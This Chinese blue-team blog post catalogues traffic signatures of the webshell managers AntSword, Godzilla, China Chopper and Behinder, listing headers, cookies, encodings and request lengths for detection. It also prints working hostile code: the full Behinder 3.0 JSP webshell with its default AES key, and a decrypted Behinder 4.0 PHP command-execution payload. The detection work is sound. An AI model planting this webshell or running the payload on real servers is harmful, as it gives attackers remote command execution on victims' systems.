【蓝队应急】WebShell 流量特征
WebShell 流量特征
一、蚁剑流量特征
当我们在蚁剑中执行whomai
命令,发送给靶机的流量长这样:
执行dir
命令相关流量:
对前部分进行url 解码可获得如下:
1=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)
总结蚁剑流量特征如下:
- UA头可能会有
antSword/版本号
等字样 - 由木马连接密码开头(加密的话大都是_0x 开头)
- 明文中有@ini_set() 函数开头来隐藏错误信息(强特征)
- 有@set_time_limit(0) 函数设置脚本执行时间为无限长
- 有@ini_get() 函数获取php配置文件中open_basedir的值,即获取可以访问的目录
- 存在eval 这个危险函数(强特征)
- payload分段并 采用base64 加密(因此有base64界面相关函数)
- 服务器返回的是明文信息
强特征:
@ini_set() 函数开头绝对是一个强特征。其在不同编码下的不同表现形式:
1
2
3base64编码:QGluaV9zZXQ
chr编码:cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116)
rot13编码:@vav_frg以上,不管各种编码,数据包中存在eval 函数
二、哥斯拉流量特征
在哥斯拉中执行whoami
命令,流量如下:
总结特征如下:
- UA头默认是使用的JDK 信息(如 Java/1.8.0_121,具体取决JDK环境)
- Cookie 值有
PHPSESSID=iocrpclbbt8mpg4i11j5ocohu0;
(强特征) - 头部Accept值
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
(弱特征) - 由木马连接密码开头
- 首当其冲的是 eval 命令执行函数
- 存在base64_decode、strrev和urldecode 等解码函数
- 在请求体中存在key 字段
- 相应包分前后两种加密方式
强特征:
- Cookie值存在
PHPSESSID=js1bi491i4bcqlogsotqg91pd6;
这种字段值
三、菜刀流量特征
在菜刀中执行dir
命令,流量如下
总结特征如下:
- 强特征:直接eval,明文后base64加密,请求包中会有eval、assert这种base64特征的字符
- 强特征:固定存在
QGluaV9zZXQ
- 请求体payload 为base64编码
- 请求体中固定存在
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J
四、冰蝎3.0流量特征
内置16个UA头,取消动态密钥获取,目前很多waf等设备都做了冰蝎2.0的流量特征分析。所以3.0取消了动态密钥获取;界面由swt改为javafx;aes密钥变为md5(“pass”)[0:16]
1 | 请求包中content-length 为5740或5720(可能会根据Java版本而改变) |
在shell.jsp中e45e329feb5d925b
为rebeyond
1 | <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root> |
五、冰蝎4.0流量特征
冰蝎4.0建立时候java也会与主机建立tcp连接,端口在49700左右每次连接就逐一叠加,冰蝎4.0他是内置了10个user-agent,每次连接shell都会换一个进行使用连接,他有固定的请求头和响应头,并且默认时候冰蝎webshell都有一串密钥,这个密钥是连接密码32位md5值的前16位,默认连接密码是rebeyond。
在冰蝎中执行whoami
命令,流量如下:
当我们将密文的请求包在冰蝎中进行解密处理,得到如下:
@error_reporting(0);function getSafeStr($str){ $s1 = iconv('utf-8','gbk//IGNORE',$str); $s0 = iconv('gbk','utf-8//IGNORE',$s1); if($s0 == $str){ return $s0; }else{ return iconv('gbk','utf-8//IGNORE',$str); }}function main($cmd,$path){ @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0); $result = array(); $PadtJn = @ini_get('disable_functions'); if (! empty($PadtJn)) { $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); $PadtJn = explode(',', $PadtJn); $PadtJn = array_map('trim', $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; } $JueQDBH = 'is_callable'; $Bvce = 'in_array'; if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { $handle = proc_open($c, array( array( 'pipe', 'r' ), array( 'pipe', 'w' ), array( 'pipe', 'w' ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1])) { $kWJW .= fread($pipes[1], 1024); } @proc_close($handle); } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10), $kWJW) . chr(10); } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { $fp = popen($c, 'r'); $kWJW = NULL; if (is_resource($fp)) { while (! feof($fp)) { $kWJW .= fread($fp, 1024); } } @pclose($fp); } else { $kWJW = 0; $result["status"] = base64_encode("fail"); $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); $key = $_SESSION['k']; echo encrypt(json_encode($result)); return; } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result));}function Encrypt($data){ $key="e45e329feb5d925b"; for($i=0;$i
总结特征如下:
- 没有显示木马连接密码(默认连接密码为
rebeyond
,其md5值的前16位被作为AES密钥) - Accept值
application/json, text/javascript, */*; q=0.01
浏览器可接受任何文件,但最倾向 application/json 和 text/javascript - 弱特征:Content-type: Application/x-www-form-urlencoded
- @error_reporting(0); 关闭了所有的错误报告
- 长连接:冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection
- 连接端口在49700左右每次连接就逐一叠加
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Lusen的小窝!
评论